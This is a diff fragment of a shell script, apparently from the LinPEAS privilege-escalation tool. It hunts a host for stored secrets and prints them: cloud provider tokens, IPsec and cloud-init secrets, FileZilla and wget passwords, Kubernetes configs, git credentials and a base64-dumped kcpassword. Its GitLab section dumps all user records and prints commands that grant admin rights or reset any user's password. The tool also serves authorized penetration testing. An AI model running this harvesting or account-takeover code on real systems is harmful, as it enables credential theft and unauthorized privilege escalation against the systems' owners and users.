+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"accessTokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "accessTokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "accessTokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,accessTokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"gcloud$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "gcloud"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "gcloud$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,gcloud$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "b'authorization'.*" | sed -${E} "s,b'authorization'.*,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,legacy_credentials$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,refresh_token.*|client_secret,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"azureProfile\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "azureProfile.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "azureProfile\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,azureProfile\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"AzureRMContext\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AzureRMContext.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "AzureRMContext\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AzureRMContext\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"ErrorRecords$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ErrorRecords"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "ErrorRecords$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ErrorRecords$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.bluemix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bluemix"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.bluemix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.bluemix$,${SED_RED},"; find "$f" -name "config.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"doctl$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "doctl"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "doctl$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,doctl$,${SED_RED},"; find "$f" -name "config.yaml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yaml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "access-token.*" | sed -${E} "s,access-token.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CLOUD_INIT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cloud Init Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CLOUD_INIT\" | grep -E \"cloud\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cloud.cfg"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_INIT" | grep -E "cloud\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cloud\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy" | grep -Ev "\W+\#|^#" | sed -${E} "s,consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CLOUDFLARE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing CloudFlare Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CLOUDFLARE\" | grep -E \"\.cloudflared$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".cloudflared"; fi; fi; printf "%s" "$PSTORAGE_CLOUDFLARE" | grep -E "\.cloudflared$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.cloudflared$,${SED_RED},"; ls -lRA "$f";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ERLANG" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Erlang Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ERLANG\" | grep -E \"\.erlang\.cookie$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".erlang.cookie"; fi; fi; printf "%s" "$PSTORAGE_ERLANG" | grep -E "\.erlang\.cookie$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.erlang\.cookie$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_GMV_AUTH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing GMV Auth Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GMV_AUTH\" | grep -E \"gvm-tools\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "gvm-tools.conf"; fi; fi; printf "%s" "$PSTORAGE_GMV_AUTH" | grep -E "gvm-tools\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,gvm-tools\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|password.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_IPSEC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing IPSec Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.secrets"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.secrets$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipsec\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.conf"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipsec\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_IRSSI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing IRSSI Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_IRSSI\" | grep -E \"\.irssi$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".irssi"; fi; fi; printf "%s" "$PSTORAGE_IRSSI" | grep -E "\.irssi$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.irssi$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,password.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_KEYRING" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Keyring Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"keyrings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "keyrings"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "keyrings$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,keyrings$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keyring$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keyring"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keyring$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.keyring$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keystore$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keystore"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keystore$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.keystore$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.jks$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.jks"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.jks$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.jks$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FILEZILLA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Filezilla Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,filezilla$,${SED_RED},"; find "$f" -name "sitemanager.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,sitemanager.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,Host.*|Port.*|Protocol.*|User.*|Pass.*,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,filezilla\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_BACKUP_MANAGER" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Backup Manager Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"storage\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "storage.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "storage\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,storage\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"database\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "database.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "database\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,database\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo "";
+fi
+
+
+##-- SI) passwd files (splunk)
+SPLUNK_BIN="$(command -v splunk 2>/dev/null)"
+if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
+ print_2title "Searching uncommon passwd files (splunk)"
+ if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
+ printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do
+ if [ -f "$f" ] && ! [ -x "$f" ]; then
+ echo "passwd file: $f" | sed "s,$f,${SED_RED},"
+ cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
+ fi
+ done
+ echo ""
+fi
+
+if [ "$PSTORAGE_KCPASSWORD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing kcpassword files"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#kcpassword"
+ printf "%s\n" "$PSTORAGE_KCPASSWORD" | while read f; do
+ echo "$f" | sed -${E} "s,.*,${SED_RED},"
+ base64 "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ done
+ echo ""
+fi
+
+##-- SI) Gitlab
+if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then
+ print_2title "Searching GitLab related files"
+ # Check gitlab-rails
+ if [ "$(command -v gitlab-rails)" ]; then
+ echo "gitlab-rails was found. Trying to dump users..."
+ gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED},"
+ echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'"
+ echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'"
+ echo ""
+ fi
+ if [ "$(command -v gitlab-backup)" ]; then
+ echo "If you have enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'"
+ echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'"
+ echo ""
+ fi
+ # Check gitlab files
+ printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do
+ if echo $f | grep -q secrets.yml; then
+ echo "Found $f" | sed "s,$f,${SED_RED},"
+ cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#"
+ elif echo $f | grep -q gitlab.yml; then
+ echo "Found $f" | sed "s,$f,${SED_RED},"
+ cat "$f" | grep -A 4 "repositories:"
+ elif echo $f | grep -q gitlab.rb; then
+ echo "Found $f" | sed "s,$f,${SED_RED},"
+ cat "$f" | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${SED_RED},"
+ fi
+ echo ""
+ done
+ echo ""
+fi
+
+if [ "$PSTORAGE_GITHUB" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Github Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.github$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".github"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.github$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.github$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.gitconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".gitconfig"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.gitconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gitconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git-credentials$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SVN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Svn Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SVN\" | grep -E \"\.svn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".svn"; fi; fi; printf "%s" "$PSTORAGE_SVN" | grep -E "\.svn$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.svn$,${SED_RED},"; ls -lRA "$f";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PGP_GPG" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing PGP-GPG Files (limit 70)"
+ ( (command -v gpg && gpg --list-keys) || echo_not_found "gpg") 2>/dev/null
+ ( (command -v netpgpkeys && netpgpkeys --list-keys) || echo_not_found "netpgpkeys") 2>/dev/null
+ (command -v netpgp || echo_not_found "netpgp") 2>/dev/null
+ if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.pgp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.pgp"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.pgp$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pgp$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gpg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gpg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gpg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gpg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gnupg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gnupg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gnupg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gnupg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CACHE_VI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cache Vi Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.swp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.swp"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.swp$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.swp$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.viminfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.viminfo"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.viminfo$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.viminfo$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_WGET" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Wget Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_WGET\" | grep -E \"\.wgetrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".wgetrc"; fi; fi; printf "%s" "$PSTORAGE_WGET" | grep -E "\.wgetrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.wgetrc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo "";
+fi
+
+
+##-- SI) containerd installed
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ containerd=$(command -v ctr)
+ if [ "$containerd" ] || [ "$DEBUG" ]; then
+ print_2title "Checking if containerd(ctr) is available"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
+ if [ "$containerd" ]; then
+ echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
+ ctr image list 2>&1
+ fi
+ echo ""
+ fi
+fi
+
+##-- SI) runc installed
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ runc=$(command -v runc)
+ if [ "$runc" ] || [ "$DEBUG" ]; then
+ print_2title "Checking if runc is available"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
+ if [ "$runc" ]; then
+ echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ echo ""
+ fi
+fi
+
+#-- SI) Docker
+if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then
+ print_2title "Searching docker files (limit 70)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation"
+ printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do
+ ls -l "$f" 2>/dev/null
+ if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then
+ echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ fi
+ done
+ echo ""
+fi
+
+if [ "$PSTORAGE_KUBERNETES" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Kubernetes Files (limit 70)"
+ (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBERNETES|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED},"
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"bootstrap-kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bootstrap-kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "bootstrap-kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bootstrap-kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet-kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet-kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet-kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet-kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet.conf"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"\.kube.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".kube*"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "\.kube.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.kube.*$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet$,${SED_RED},"; find "$f" -name "config.yaml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yaml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "kubeadm-flags.env" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeadm-flags.env,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$"; done; echo "";done; echo "";
